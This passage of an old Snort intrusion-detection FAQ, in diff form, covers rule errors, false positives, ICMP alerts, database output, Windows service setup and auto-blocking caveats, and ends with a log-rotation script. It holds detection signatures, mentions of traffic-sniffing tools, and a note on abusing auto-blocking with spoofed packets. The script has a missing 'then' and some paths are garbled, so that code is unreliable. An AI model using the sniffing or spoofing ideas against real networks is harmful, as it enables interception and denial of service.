+  * ERROR telnet.rules:YYY => Couldn't resolve hostname blah
+
+What's going on?
+
+``telnet.rules'' is the file where the syntax error occurred, and ``YYY'' is
+the line number it occurred on. There are a couple of possibilities:
+
+1.  The rule is missing a port value, has an invalid port number, or a bad
+    hostname - in which case the ruleset author/maintainer should be notified.
+2.  More often, the rule is just fine, but a variable in it was not declared.
+    Open the rules file, look at the rule on the line number provided, and
+    confirm that the variables it uses have been declared. You can read more
+    about variables from
+
+        http://www.snort.org/docs/writing_rules/chap2.html#tth_sEc2.1.2
+
+4.2 Snort says "Rule IP addr ("1.1.1.1") didn't x-late, WTF?"
+
+Get rid of the quotes around the IP address and try again.
+
+4.3 Snort is behind a firewall and awfully quiet...
+
+Your firewall rules will also block traffic to the snort processes.
+
+Note: This does not apply if Snort is installed _on_ the firewall box.
+
+4.4 Does snort see packets filtered by IPTables/IPChains/IPF/PF?
+
+Snort operates using libpcap. In general it sees everything the network adapter
+driver sees before the network stack munges it. Linux IPTables, Linux IPChains,
+BSD PF and IPF and other packet filters do not prevent snort from seeing a
+packet that is present on the network wire. Even if an inbound packet is denied
+by the packet filter Snort will still see and analyze the packet if it is
+listening to that interface. Snort/pcap sees whatever comes out of or goes into
+the network adapter.
+
+Note however that Snort is affected to the extent that the stream of data on
+the network wire is affected. Thus Snort will not see outbound packets which
+were denied while being sent since they will never reach the network adapter.
+
+Under OpenBSD you can snort just the PF rejects by using the /dev/pflogN
+interface.
+
+4.5 I'm getting large amounts of <some alerts type>. What should I do? Where
+can I go to find out more about it?
+
+Some rules are more prone to producing false positives than others. This often
+varies between networks. You first need to determine if it is indeed a false
+positive. Some rules are referenced with ID numbers. The following are some
+common identification systems, and where to go to find more information about a
+particular alert.
+
++---------------------------------------------------------------------------------------+
+| System  | Example       | URL                                                         |
+|---------+---------------+-------------------------------------------------------------|
+| IDS     | IDS182        | http://www.whitehats.com/IDS/182                            |
+|---------+---------------+-------------------------------------------------------------|
+| CVE     | CVE-2000-0138 | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0138 |
+|---------+---------------+-------------------------------------------------------------|
+| Bugtraq | BugtraqID 1   | http://www.securityfocus.com/vdb/bottom.html?vid=1          |
+|---------+---------------+-------------------------------------------------------------|
+| McAfee  | Mcafee 10225  | http://vil.nai.com/vil/dispVirus.asp?virus_k=10225          |
+|---------+---------------+-------------------------------------------------------------|
+| Nessus  | Nessus 11073  | http://cgi.nessus.org/plugins/dump.php3?id=11073            |
++---------------------------------------------------------------------------------------+
+
+It may be necessary to examine the packet payload to determine if the alert is
+a false positive. The packet payload is logged using the -d option. If you
+determine the alerts are false positives, you may want to write pass rules for
+machines that are producing a large number of them. If the rule is producing an
+unmanageable amount of false positives from a number of different machines, you
+could pass on the rule for all traffic. This should be used as a last resort.
+
+4.6 What about all these false alarms?
+
+Most think that a pile of false positives is infinitely preferable. Then people
+can turn off what they don't want. The reverse, having a small rule set, can
+lure people into complacency thinking that Snort is doing "its thing" and there
+is nothing to worry about.
+
+4.7 What are all these ICMP files in subdirectories under /var/log/snort?
+
+Most of them are likely destination unreachable and port unreachables that were
+detected by snort when a communications session attempt fails.
+
+4.8 Why does the program generate alerts on packets that have pass rules?
+
+The default order that the rules are applied in is alerts first, then pass
+rules, then log rules. This ordering ensures that you don't write 50 great
+alert rules and then disable them all accidently with an errant pass rule. If
+you really want to change this order so that the pass rules are applied first,
+use the "-o" command line switch, or the ``order'' config directive.
+
+One other thing to keep in mind is that the alert might be generated from a
+preprocessor. If that is the case, then no pass rule will help you minimize the
+false positives. You will need to use a BPF filter.
+
+4.9 What are all these "ICMP destination unreachable" alerts?
+
+ICMP is the acronym for Internet Control Message Protocol. They are failed
+connections. ICMP unreach packet carries first 64 bits(8bytes) or more of the
+original datagram and the original IP header.
+
+The ICMP Destination Unreachable (message type 3) is sent back to the
+originator when an IP packet could not be delivered to the destination address.
+The ICMP Code indicates why the packet could not be delivered. The original
+codes are:
+
+  * 0 - net unreachable
+  * 1 - host unreachable
+  * 2 - protocol unreachable
+  * 3 - port unreachable
+  * 4 - fragmentation needed and DF bit set
+  * 5 - source route failed
+
+As far as why... "it all depends..."
+
+ICMP Unreachable Error Messages are divided into two groups:
+
+1.  ICMP Unreachable Error Messages issued by routers (all 16 of them)
+2.  ICMP Unreachable Error Messages issued by a Host (only 2)
+
+What are the only 2 issued by a host?
+
+  * ICMP Port Unreachable - the destination port on the targeted host is closed
+    (a.k.a. not in a listening state).
+  * ICMP Protocol Unreachable - the protocol we were trying to use is not being
+    used on the targeted host.
+
+Both ICMP Type field and Code field indicates why the packets could not be
+delivered. Some snort ICMP alerts" are informational like the ICMP alerts found
+in icmp-info.rules. At this time there are no references or even classtypes
+associated with these rules.
+
+Other rules are more likely to be associated with untoward activity. For
+example, in icmp.rules you will find:
+
+    alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP ISS Pinger";
+    content:"|495353504e475251|";itype:8;depth:32; reference:arachnids,158;
+    classtype:attempted-recon; sid:465; rev:1;)
+
+which has a reference where the importance might be determined by checking out
+the arachnids reference. The classtype may indicate more or less the relative
+importance of the event.
+
+When a destination UDP port is closed on the targeted host, a.k.a. not in a
+listening state, the targeted host will issue an ICMP Port Unreachable error
+message back to the offending packets source IP address, given in the query.
+Some programs use these messages, like traceroute with *nix based machines.
+Windows based machines (tracert) will default to ICMP Echo requests...
+
+For further information about this see
+
+  * IP - ftp://ftp.isi.edu/in-notes/rfc791.txt
+  * ICMP - ftp://ftp.isi.edu/in-notes/rfc792.txt
+  * TCP - ftp://ftp.isi.edu/in-notes/rfc793.txt
+  * UDP - ftp://ftp.isi.edu/in-notes/rfc768.txt
+
+and
+
+    http://www.iana.org/assignments/icmp-parameters
+
+Actually, putting this URL somewhere handy is a good idea:
+
+    http://www.iana.org/
+
+There is also a good ICMP paper available at:
+
+    http://www.sys-security.com/
+
+4.10 Why do many snort rules have the flags P (TCP PuSH) and A (TCP ACK) set?
+
+One of the reasons it alerts on a PA flags is to minimize the false positive.
+You will only get an alert upon successful connections. If you want to see all
+the attempts, you either have to modify the signatures, add you own signatures
+or use your firewall logs to see if an attempt to specific a port occurred.
+
+4.11 Snort says BACKDOOR SIGNATURE... does my machine have a Trojan?
+
+If you are dumping the data part of the packet, review it. These rules are
+known to have high false rates as most of them are just based on numeric port
+numbers.
+
+4.12 What about "CGI Null Byte attacks"?
+
+It's a part of the http preprocessor. Basically, if the http decoding routine
+finds a %00 in an http request, it will alert with this message. Sometimes you
+may see false positives with sites that use cookies with urlencoded binary
+data, or if you're scanning port 443 and picking up SSLencrypted traffic . If
+you're logging alerted packets you can check the actual string that caused the
+alert. Also, the unicode alert is subject to the same false positives with
+cookies and SSL. Having the packet dumps is the only way to tell for sure if
+you have a real attack on your hands, but this is true for any content-based
+alert.
+
+4.13 Why do certain alerts seem to have 'unknown' IPs in ACID?
+
+The Snort database plug-in only logs packet information into the database when
+an alert is triggered by a rule (signature). Therefore, since alerts generated
+by pre-preprocessors such as portscan and mini-fragment have no corresponding
+rules, no packet information is logged beyond an entry indicating their
+occupance. As a consequence, ACID cannot display any packet-level (e.g. IP
+address) information for these alerts. For these particular alerts, certain
+statistics may show zero unique IP addresses, list the IP address as 'unknown',
+and will not list any packet information when decoding the alert.
+
+4.14 Can priorities be assigned to Alerts using ACID?
+
+The quick answer to this question is no. ACID is at the mercy of the underlying
+database, since Snort doesn't assign priorities, ACID does not have priorities.
+Nevertheless, there are some work-arounds:
+
+  * It is possible to enforce priorities of sort at the database level by
+    writing alerts of different severity to separate databases. For example,
+    critical alerts such as buffer overflows can be written to one database,
+    while scan alerts can be written to another. Then load two different
+    versions of ACID, each pointing to a different instance of the database.
+  * With manual intervention Alert Groups (AG) can be used to assign priority.
+    Essentially, this strategy entails creating an AG for each severity level
+    and manually moving the alerts as they arrive into the appropriate group.
+
+4.15 What about 'SMB Name Wildcard' alerts?
+
+Whitehats IDS177 http://dev.whitehats.com/cgi/test/new.pl/Show?_id=
+netbios-name-query specifies traffic coming from outside of your local network.
+Allowing netbios traffic over public networks is usually very insecure.
+
+If the rule you are using also refers to ingres traffic only, then it would
+explain why you don't see a lot of false positives. For anyone reading that
+does see a lot of false positives - if you change your rule to reflect the
+source address as being !$HOME (or whatever variable you use to represent your
+internal network), then you should see most of the false positives go away.
+
+The value of this check is that a default administrative share C$ ADMIN$ or
+some such has been accessed. This shouldn't happen in normal use - when people
+want to share files they should be implicitly defining the shares and ACL.
+
+4.16 What the heck is a SYNFIN scan?
+
+SYNFIN scans got their name because there are both the SYN and FIN flags set.
+
+4.17 I am getting too many "IIS Unicode attack detected" and/or "CGI Null Byte
+attack detected" false positives. How can I turn this detection off?
+
+These messages are produced by the http_decode preprocessor. If you wish to
+turn these checks off, add -unicode or -cginull to your http_decode
+preprocessor line respectively.
+
+    preprocessor http_decode: 80 8080 -unicode -cginull
+
+Your own internal users normal surfing can trigger these alerts in the
+preprocessor. Netscape in particular has been known to trigger them.
+
+Instead of disabling them,try a BPF filter to ignore your outbound http traffic
+such as:
+
+    snort -d -A fast -c snort.conf not (src net xxx.xxx and dst port 80)
+
+This has worked very well for us over a period of 5-6 months and Snort is still
+very able to decode actual and dangerous cgi null and unicode attacks on our
+public web servers.
+
+4.18 How do I test snort alerts and logging?
+
+Try a rule that will fire off all the time like:
+
+    alert tcp any any -> any any (msg:"TCP traffic";)
+
+Also take a look at sneeze at http://snort.sourceforge.net/sneeze-1.0.tar
+Sneeze is a false positive generator that reads snort signatures and generates
+packets that will trigger the rules.
+
+4.19 What is the difference between ``Alerting'' and ``Logging''?
+
+ There are two primary output facilities in Snort, logging and alerting. The
+alerting facility exists to let you know that something interesting has
+happened. The logging facility exists to log full packet information to the
+output format (pcap, ascii, database, etc).
+
+The "alert" action in Snort is hard coded to do two things when an event is
+detected by Snort, write an event to the alert facility and log as much as
+possible/desired to the output facility. The "log" action merely logs the
+current packet to the logging facility without generating an alert. This is
+done so you can log interesting things (telnet sessions, whatever) without
+having to generate an alert on every packet.
+
+The database plugin is something of an anomaly because it doesn't separate the
+two functionalities very much. The "log" option attaches the log facility and
+the "alert" option attaches it to the alert facility. What this means in
+practical terms is that if the db plugin is in alert mode, it will only receive
+output from alert rules, whereas if it's in "log" mode it will receive output
+from both log and alert rules.
+
+4.20 Are rule keywords ORed or ANDed together?
+
+From Section 2.1 of the Snort Manual:
+
+    All of the elements in that make up a rule must be true for the indicated
+    rule action to be taken. When taken together, the elements can be
+    considered to form a logical AND statement. At the same time, the various
+    rules in a Snort rules library file can be considered to form a large
+    logical OR statement.
+
+4.21 Can snort trigger a rule by MAC addresses?
+
+Not exactly. Snort logs MAC addresses and other L2 info within the packets. The
+arpwatch pre-processor can watch for games with MAC address changes. But there
+is no facility for triggering Rules form the L2 information. The content search
+keywords and depth and offset begin from the L3 payload, though we haven't
+tried playing with really big offsets yet :-).
+
+4.22 How can I deactivate a rule?
+
+Rules can be called from an included file in snort.conf, which tells Snort to
+follow the path to the rules file specified, and load it at initialization.
+Rules can also be included in snort.conf directly. If you want to deactivate a
+single rule within any list of rules, you can use one of these techniques:
+
+1.  Delete the rule and re-initialize Snort
+2.  Place a # in front of the rule, commenting it out, and re-initialize Snort
+3.  Write a pass rule with the same properties in local.rules (or wherever you
+    prefer), and re-initialize Snort with the -o option.
+
+4.23 How can I define an address to be anything except some hosts?
+
+Use the ! operator. E.g.:
+
+    var EXTERNAL_NET !$HOME_NET
+
+Note that the negation operator does not work inside a list so the following
+will NOT work:
+
+    var EXTERNAL_NET [!192.168.40.0/24,!10.14.0.0/16]
+
+but this will work:
+
+    var EXTERNAL_NET ![192.168.40.0/24,10.14.0.0/16]
+
+4.24 After I add new rules or comment out rules how do I make snort reload?
+
+Usually a kill -HUP will work just fine. But if you are running inside of a
+chroot setup, this will not work as expected (see FAQ 6.19). If you're running
+like inside of a chroot jail, your best bet would be to kill and restart the
+snort process instead.
+
+4.25 Where do the distance and within keywords work from to modify content
+searches in rules ?
+
+The "distance" keyword gives you a relative offset from the end of the last
+match, so it basically acts as a wildcarding mechanism. You can also use the
+new "within" keyword to limit how deep into the packet from the end of the
+distance it'll search before it stops.
+
+4.26 How can I specify a list of ports in a rule?
+
+You can't yet. You can specify a range of ports between X and Y With the
+notation X:Y. See the users manual^[*] for more info on port ranges.
+
+4.27 How can I protect web servers running on ports other than 80?
+
+It is possible... It's a kludge, but it can work. Since the newer rules use
+$HTTP_PORTS variable, you simply reset it and re-run the rules for the other
+ports.
+
+For example:
+
+    var HTTP_PORTS 80
+
+    include web.rules
+
+    var HTTP_PORTS 8080
+
+    include web.rules
+
+4.28 How do I turn off "spp:possible EVASIVE RST detection" alerts?
+
+You want to pass the ``disable_evasion_alerts'' argument to stream4 in
+snort.conf.
+
+4.29 Is there a private SID number range so my rules don't conflict?
+
+Yes. Private SID starts at 1000000.
+
+4.30 How long can Address Lists, Variables, or Rules be?
+
+The snort parser has an 8K limit on variables and rules *after* expansion. In
+practice this is not a major limitation. :-)
+
+5 Getting Fancy
+
+5.1 I hear people talking about ``Barnyard''. What's that?
+
+  Barnyard is a output system for Snort. Snort creates a special binary output
+format called ``unified''. Barnyard reads this file, and then resends the data
+to a database backend. Unlike the database output plugin, Barnyard is aware of
+a failure to send the alert to the database, and it stops sending alerts. It is
+also aware when the database can accept connections again and will start
+sending the alerts again.
+
+5.2 How do I process those snort logs into reports?
+
+1.  Barnyard 5.1can be used to process unified output files into a number of
+    formats including output to a database for further analysis.
+2.  SnortSnarf, a tool for producing HTML out of snort alerts for navigating
+    through these alerts.
+
+        http://www.silicondefense.com/snortsnarf/
+
+3.  If you want to set up logging to a database you could try ACID Some
+    documentation describing the current ACID functionality:
+
+        http://www.cert.org/kb/acid/
+
+4.  You can manipulate the unified output files directly without a separate
+    database and browse/correlate them with Cerebus:
+
+        http://dragos.com/cerebus/
+
+5.  For GUI front ends with simple log browsing look at:
+
+      + HenWen (OSX)
+
+            http://homepage.mac.com/nickzman
+
+            http://home.attbi.com/~rickzman/software/HenWen1.0.sit.bin
+
+      + IDS Center (Win32) 
+
+            http://www.packx.net/
+
+      + Puresecure (UNIX and Win32)-Formerly known as demarc.
+
+            http://www.demarc.com/downloads/puresecure/
+
+      + SnortCenter (UNIX and Win32)
+
+            http://users.pandora.be/larc/
+
+      + IDS Policy Manager (Win32)
+
+            http://www.activeworx.com/IDSPM/
+
+5.3 How do I log to multiple databases or output plugins?
+
+Feed the unified output files through barnyard twice to separate databases,
+or...
+
+You can build redundancy by using multiple output plugins. Here are some
+examples.
+
+Multiple instantiations of the database plugin:
+
+    output log_database: mysql, dbname=snort host=localhost user=xyz
+    output log_database: mysql, dbname=snort host=remote.loghost.com user=xyz
+
+Remote database and local tcpdump:
+
+    output log_database: mysql, dbname=snort host=remote.loghost.com user=xyz
+    output log_tcpdump: /var/log/snort.tcpdump
+
+Then you can replay the tcpdump file through snort to recreate the database.
+CAVEAT: just playing back the log packets might not trigger some of the state
+dependent pre-processors.
+
+5.4 How can I test snort without having an ethernet card or a connection to
+other computers?
+
+You have to use routing between two dummy devices:
+
+    modprobe -a dummy # (The dummy device has to be built by the kernel)
+
+    ifconfig dummy0 192.168.0.1
+
+    ifconfig dummy0:0 192.168.0.2
+
+    telnet 192.168.0.3 12345
+
+It's important that the second IP is on the same interface and not e.g. dummy1
+or dummy2 and that the IP you try to access is not one of those you put on the
+interfaces. Use snort's ability to hear in promiscuous mode on an IP address
+range. (HOME_NET=192.168.0.0/16)
+
+5.5 How to start snort as a win32 service?
+
+1.  Use must use complete paths for everything. This means EVERYTHING. Command
+    line, configuration files, everything. Examples: All include statements
+    must be full paths.
+
+        WRONG: include scan-lib
+
+        CORRECT: include C:\( \backslash \)snort\( \backslash \)scan-lib
+
+    All Command line options must be full paths.
+
+        WRONG: snort.exe -l ./log
+
+        CORRECT: snort.exe -l C:\( \backslash \)snort\( \backslash \)log
+
+2.  YOU MUST ALWAYS HAVE A LOGGING DIRECTORY SET VIA THE COMMAND LINE (-l
+    switch). If you do not set a logging directory the service will not start
+    and, on NT/Win2k, your bootup will hang for about 4 minutes.
+3.  Make sure that snort runs correctly from the command line, without yet
+    worrying about any service related issues. Test that all of your desired
+    command line parameters are causing snort to function as you expect, such
+    as correctly generating logging and alert output. If you can't get this
+    part to work, then you don't have much hope of snort miraculously starting
+    to work as a service.
+4.  Once you have step (3) running correctly, modify the command line
+    parameters you used in step (3) to include the additional parameters "/
+    SERVICE /INSTALL". For example, if your command line in step (3) was
+
+        snort -i1 -lC:\( \backslash \)snort\( \backslash \)log -cC:\( \
+        backslash \)snort\( \backslash \)snort.conf
+
+    then you should change it to be
+
+        snort /SERVICE /INSTALL -i1 -lC:\( \backslash \)snort\( \backslash \)
+        log -cC:\( \backslash \)snort\( \backslash \)snort.conf
+
+    Verify that the command line parameters were received correctly by running
+    the command 'snort /SERVICE /SHOW'.
+5.  Start the service by running the command
+
+        net start snortsvc
+
+    Note that versions 1.9 (build 228), 2.0 (build 50), or any versions newer
+    than these, will add entries to the Win32 event Log if there is ever a
+    problem starting the service.
+    Stop the service by running the command
+
+        net stop snortsvc
+
+6.  The service can be uninstalled by running the command
+
+        snort /SERVICE /UNINSTALL
+
+5.6 Is it possible with snort to add a ipfilter/ipfw rule to a firewall?
+
+Yes, with additional software in the contrib directory. But this can be
+dangerous and is not recommended unless you know what you're doing.
+
+  * SnortSam
+
+        http://www.snortsam.net
+
+  * You also might wat to look at inline-snort at:
+
+        http://www.snort.org/dl/contrib/patches/snort-inline
+
+  * Guardian is a perl script which uses snort to detect attacks, and then uses
+    IPchains to deny any further attacks. The Guardian webpage can be found at:
+    http://www.chaotic.org/~astevens/Guardian/index.html or you can use the
+    mirror, http://www.cyberwizards.com/~midnite/Guardian/index.html
+
+But one caveat... running external binaries can also be a performance limiter
+and your should read the caution below...
+
+CHRISTOPHER CRAMER wrote:
+
+    I'm sure this has been mentioned before in similar discussions, but this
+    feels like a _really_ bad idea. What if the bad guys realize what is going
+    on and make use of your blocking method as a DoS attack. All one would have
+    to do start sending a series of triggering packets with spoofed IP
+    addresses.
+
+    Since I am no longer interested in breaking into your site, but rather
+    making your life hell, I don't worry about the resulting data getting back
+    to me. All I have to do is start proceeding up a list of IP addresses that
+    I think you should no longer be able to talk to. When you come in the next
+    morning, you find that you can no longer access the world.
+
+    Just my $0.02.
+
+Danger Will Robinson: Conventional wisdom says that auto-blocking is inherently
+dangerous.
+
+However, for those that like to live at the bleeding edge of tech (and the
+separate process scanning logs and processing firewall commands sounds like a
+good way to do this...):
+
+Please remember to include an exclusion list and put on them important sites
+such as root servers, other important dns servers (yours, and important sites
+for your users), and in general any host you don't want to receive phone calls
+about being DoSed when they are spoofed - usually inconveniently like that
+first time you actually manage to get on vacation.... (i.e. imagine "Crisis:
+the CEO can't reach his favorite redlite.org game.... you have to fly back from
+the Carribean asap....")
+
+5.7 What is the best way to use snort to block attack traffic?
+
+snort-inline > hogwash >> SnortSAM|Guardian >> flexresp
+
+5.8 Snort complains about the "react" keyword...
+
+Rerun configure with the -enable-flexresp option and rebuild/reinstall.
+
+5.9 How do I get snort to e-mail me alerts?
+
+You can't. Such a process would slow Snort down too much to make it of any use.
+Instead, log to syslog and use swatch or logcheck to parse over the plaintext
+logfiles.
+
+With the logsurfer docs, this might get you on the road to doing something with
+snort & logsurfer:
+
+    http://www.obfuscation.org/emf/logsurfer/snort.txt
+
+JASON HAAR provided an example Swatch (3.1beta) config that emails alerts:
+
+    http://www.theadamsfamily.net/~erek/snort/snort-swatch.conf.txt
+
+Here are some docs on swatch:
+
+  * http://www.oit.ucsb.edu/~eta/swatch/
+  * http://www.stanford.edu/~atkins/swatch
+  * http://rr.sans.org/sysadmin/swatch.php
+  * http://www.enteract.com/~lspitz/swatch.html
+  * http://www.cert.org/security-improvement/implementations/i042.01.html
+
+IDS Center (see FAQ 5) on Win32 will also mail alerts.
+
+5.10 How do I log a specific type of traffic and send alerts to syslog?
+
+An example addition to snort.conf:
+
+    ruletype redalert {
+
+    type alert
+
+    output alert_syslog: LOG_LOCAL2
+
+    output database: alert, postgresql, user=user dbname=snort password=pwd
+
+    }
+
+Go into your local.rules and make sure you have something like:
+
+    redalert tcp any any -> any any (msg:"REDRUM REDRUM";
+    content:"redalerttest")
+
+Then just do a telnet and type 'redalerttest'. Presto, alerts to both.
+
+5.11 Is it possible to have snort call an external program when an alert is
+raised?
+
+Calling another program from within your main IDS loop is generally a bad idea.
+Having your IDS block while waiting for <something> of dubious reliability and
+origin nevermind timing while the packets are piling up is inviting packet
+loss. Especially with the already oh-so-consistent "Gee I think I'll go away
+for a minute" rock steady even cpu slicing Windows gives you (that's sarcasm,
+sorry). Go with the second approach.... process invocation is expensive on
+Windows.
+
+You want to keep that IDS task humming and munching packets as efficiently as
+possible with as few interruptions as possible, IMHO, and not be invoking the
+penalty of process invocation.... particularly on Windows where process
+invocation is much much heavier task than *nix.
+
+Even in a secondary process... You'll probably find something that stays
+"awake" all the time will work out much more nicely than something that gets
+"woken up" on a per alert basis for the aforementioned reasons.
+
+As a better alternative go check out swatch or logwatch. Also for those new to
+UNIX, logging alerts to syslog and then using "tail -f /var/log/messages" might
+be what you are looking for.
+
+5.12 How can I use snort to log http urls or smtp traffic ?
+
+It can be done with snort, but you might find it faster to use mailsnarf and
+urlsnarf from Dug Song's dsniff package. Dsniff is available from
+
+    http://www.monkey.org/~dsong/dsniff/
+
+You can get a win32 port of dsniff at
+
+    http://www.datanerds.net/~mike/dsniff.html
+
+5.13 How can I move data from the snort db to snort_archive db like ACID does?
+
+Use the perl script snort_archdb.pl found in the contrib dir of the snort
+distribution (snort_archdb-90a.tar.gz).
+
+5.14 What are some resources that I can use to understand more about source
+addresses logged and where they are coming from?
+
+  * http://www.arin.org/
+  * http://www.caida.org/tools/utilities/netgeo/
+  * http://netgeo.caida.org/perl/netgeo.cgi
+  * http://standards.ieee.org/regauth/oui/oui.txt
+  * http://www.codito.de/manufactor_hash
+  * http://coffer.com/mac_find/
+  * http://www.idefense.com/Intell/CI022702.html
+  * http://www.idefense.com/excelfiles/All.zip
+
+also try "dig".
+
+5.15 How do I understand this traffic and do IDS alert analysis?
+
+1.  You'll need to understand some basics of IP, TCP, and UDP. Things like
+    destination addresses, source addresses, common ports, what TCP SYN, FIN
+    and RST mean, etc. The same kind of basic knowledge of the internet you
+    need to successfully configure a multi-interface router applies here,
+    although you don't need to know router syntax. Some useful online
+    references:
+      + A truly basic "intro to TCP/IP" http://pclt.cis.yale.edu/pclt/COMM/
+        TCPIP.HTM
+      + A reasonable looking TCP/IP FAQ: http://www.itprc.com/tcpipfaq/
+        default.htm
+      + A basics of firewalls, DMZ's, etc. http://www.ibiblio.org/pub/Linux/
+        docs/HOWTO/other-formats/html_single/Firewall-HOWTO.html
+2.  You'll need to understand some basics of how network attacks work. I'd
+    recommend skimming over "Smashing the Stack for fun and profit" by Aleph
+    one. A deep understanding isn't necessary, but a casual read of this will
+    give you some helpful basics in understanding the kinds of things that
+    happen in an attack, and give you a better understanding of what to look
+    for.
+
+        http://www.insecure.org/stf/smashstack.txt
+
+3.  A good guide on securing systems is helpful, something like this one:
+
+        http://www.openna.com/products/books/sol/solus.php
+
+        http://www.seifried.org/lasg/
+
+4.  You'll need to understand the basics of internet servers, ie: what DNS,
+    HTTP, FTP, SMTP, etc. are for. Most of that should be covered in the
+    various other references made here.
+5.  An excellent reference on "oddball" traffic patterns commonly seen at
+    network borders, also very helpful:
+
+        http://www.robertgraham.com/pubs/firewall-seen.html
+
+6.  Also take a look at the ``Recommended Reading'' section (see FAQ 1.4)
+
+5.16 How can I examine logged packets in more detail?
+
+If you are using unified logging, you can use Barnyard (see FAQ 5.1)
+
+or the unified log to pcap converter written by Dragos:
+
+    http://dragos.com/logtopcap.c
+
+You can then get additional decoding of the packet contents by analyzing these
+pcap files with either:
+
+  * Tcpdump - http://www.tcpdump.org
+  * Ethereal - http://www.ethereal.com
+
+6 Problems
+
+6.1 I think I found a bug in snort. Now what?
+
+Get some more diagnostic information and post it to "snort-users" at http://
+lists.sourceforge.net/lists/listinfo/snort-users To get diagnostic information
+compile snort as either:
+
+  * []make clean; make CFLAGS=-ggdb 
+
+or
+
+  * []make clean; make "CFLAGS=-ggdb -DDEBUG"
+
+trace coredump as:
+
+  * []gdb /path/to/snort /path/to/snort/core
+
+    gdb> where
+
+    gdb> bt
+
+    gdb> print \$varname, varname, \$\$varname etc..
+
+or if corefile isn't generated snort should be started as
+
+  * []gdb snort
+
+    gdb> run snort\_args\_go\_here
+
+Then when it crashes:
+
+  * []gdb> where
+
+    gdb> bt
+
+    gdb> print \$varname, varname, \$\$varname etc..
+
+6.2 SMB alerts aren't working, what's wrong?
+
+Make sure you include "-enable-smbalerts" when you run "./configure".
+
+6.3 Snort says "Garbage Packet with Null Pointer discarded!". Huh?
+
+This was an internal diagnostic message triggered by an old bug in early
+versions of the defragmentation preprocessor. Upgrade to to the latest version
+of snort.
+
+6.4 Snort says "Ran Out Of Space". Huh?
+
+This is an internal diagnostic message when the defragmentation preprocessor
+runs into its  32MB hard allocation space limit. Tell Dragos about it
+<dr@kyx.net>
+
+6.5 My ACID db connection times-out when performing long operations (e.g.
+deleting a large number of alerts)
+
+PHP has an internal variable set to limit the length an script can execute. It
+is used to prevent poorly written code from executing indefinitely. In order to
+modify the time-out value, examine the 'max_execution_time' variable found in
+the 'php.ini' configuration file.
+
+6.6 Why does ACID keep changing my sensor number and how do I keep it
+consistent?
+
+From the code in op_acid_db.c:
+
+  * []/* if sensor id ==
+     0, then we attempt attempt to determine it dynamically */ if(data->
+    sensor_id == 0) 
+
+    { 
+
+        data->sensor_id = AcidDbGetSensorId(data); 
+
+    }
+
+And AcidDbGetSensorId does the following:
+
+  * []"SELECT sid FROM sensor WHERE hostname='%s' AND interface='%s' " 
+
+    "AND filter='%s' AND detail='%u' AND encoding='0'", pv.hostname, 
+
+    pv.interface, pv.filter, op_data->detail)
+
+If it gets a sensor back, it uses that sensor_id, if not, it inserts the new
+sensor. So from the code, to keep it consistent, don't change the hostname /
+interface / filter and detail.
+
+6.7 Why does snort report "Packet loss statistics are unavailable under Linux"?
+
+The Linux IP stack doesn't report lost packet stats. This also has been
+recently fixed with the 2.4+ kernel in the new version of libpcap... upgrade
+kernels and libpcap and it should now work.
+
+6.8 My /var/log/snort directory get very large.....
+
+Try this script to archive the files.
+
+  * []#!/bin/sh
+
+    # 
+
+    # Logfile rotation script for snort writen by jameso@elwood.net.
+
+    # 
+
+    # This script is pretty basic. We start out by setting some vars.
+
+    # Its job is tho rotate the days logfiles, e-mail you with what 
+
+    # it logged, keep one weeks worth of uncompressed logs, and also
+
+    # keep compressed tgz files of all the logs. It is made to be run
+
+    # at midnight everynight. This script expects you to have a base
+
+    # dir that you keep all of your logs, rule sets etc in. You can 
+
+    # see what sub dirs it expects from looking at the var settings
+
+    # below.
+
+    # 
+
+    # Things to note in this script is that we run this script at 12 
+
+    # every night, so we want to set the dirdate var the day the script
+
+    # runs minus a day so we label the files with the correct day. We
+
+    # Then create a dir for the days logs, move the log files into 
+
+    # todays dir. As soon as that is done restart snort so we don't miss
+
+    # anything. Then delete any logs that are uncompressed and over a
+
+    # week old. Then compress out todays logs and archive them away, and
+
+    # end up by mailling out the logs to you.
+
+    #
+
+    # Define where you have the base of your snort install
+
+    snortbase=/usr/snort
+
+    # Define other vars
+
+    # logdir   - Where the logs are kept
+
+    # oldlogs  - Where you want the archived .tgz logs kept
+
+    #
+     weeklogs - This is where you want to keep a weeks worth of log files uncompres
+
+    sed
+
+    # dirdate  - Todays Date in Month - Day - Year format
+
+    # olddirdate - Todays date in the same format as dirdate, minus a week
+
+    logdir=$snortbase/log
+
+    oldlogs=$snortbase/oldlogs
+
+    weeklogs=$snortbase/weeklogs
+
+    # When I first wrote this script, I only ran it on BSD systems. That was a
+
+    #
+     mistake, as BSD systems have a date command that apperently lets you walk the
+
+    #
+     date back pretty easily. Well, some systems don't have this feature, so I had
+
+    #
+     to change the way that dates are done in here. I left in the old way, because
+
+     
+
+    #
+     it is cleaner, and I added in a new way that should be portable. If anyone
+
+    # has any problems, just let me know and I will try to fix it.
+
+    #
+
+    #
+     You have to change the system var to either bsd or other. Set it to bsd if
+
+    # your system supports the "-v" flag. If you are not sure, set it to other.
+
+    system=bsd
+
+    if [ $system = bsd ]
+
+    then
+
+     dirdate=`date -v -1d "+%m-%d-%y"`
+
+     olddirdate=`date -v -8d "+%m-%d-%y"`
+
+    elif [ $system = other ]
+
+     month=`date "+%m"`
+
+     yesterday=`expr \`date "+%d"\` - 1`
+
+     eightday=`expr \`date "+%d"\` - 8`
+
+     year=`date "+%y"`
+
+     dirdate=$month-$yesterday-$year
+
+     olddirdate=$month-$eightday-$year
+
+    fi
+
+    # Create the Dir for todays logs.
+
+    if [ ! -d $weeklogs/$dirdate ]
+
+    then
+
+     mkdir $weeklogs/$dirdate
+
+    fi
+
+    # Move the log files into todays log dir. This is done with
+
+    # a for loop right now, because I am afriad that if alot is
+
+    # logged there may be to many items to move with a "mv *"
+
+    # type command. There may a better way to do this, but I don't
+
+    # know it yet.
+
+    for logitem in `ls $logdir` ; do
+
+     mv $logdir/$logitem $weeklogs/$dirdate
+
+    done
+
+    # Kill and restart snort now that the log files are moved.
+
+    kill `cat /var/run/snort_fxp0.pid`
+
+    # Restart snort in the correct way for you
+
+    /usr/local/bin/snort -i fxp0 -d -D -h homeiprange/28 -l /usr/snort/log \
+
+    -c /usr/snort/etc/08292k.rules > /dev/null 2>&1
+
+    # Delete any uncompressed log files that over a week old.
+
+    if [ -d $weeklogs/$olddirdate ]
+
+    then
+
+     rm -r $weeklogs/$olddirdate
+
+    fi
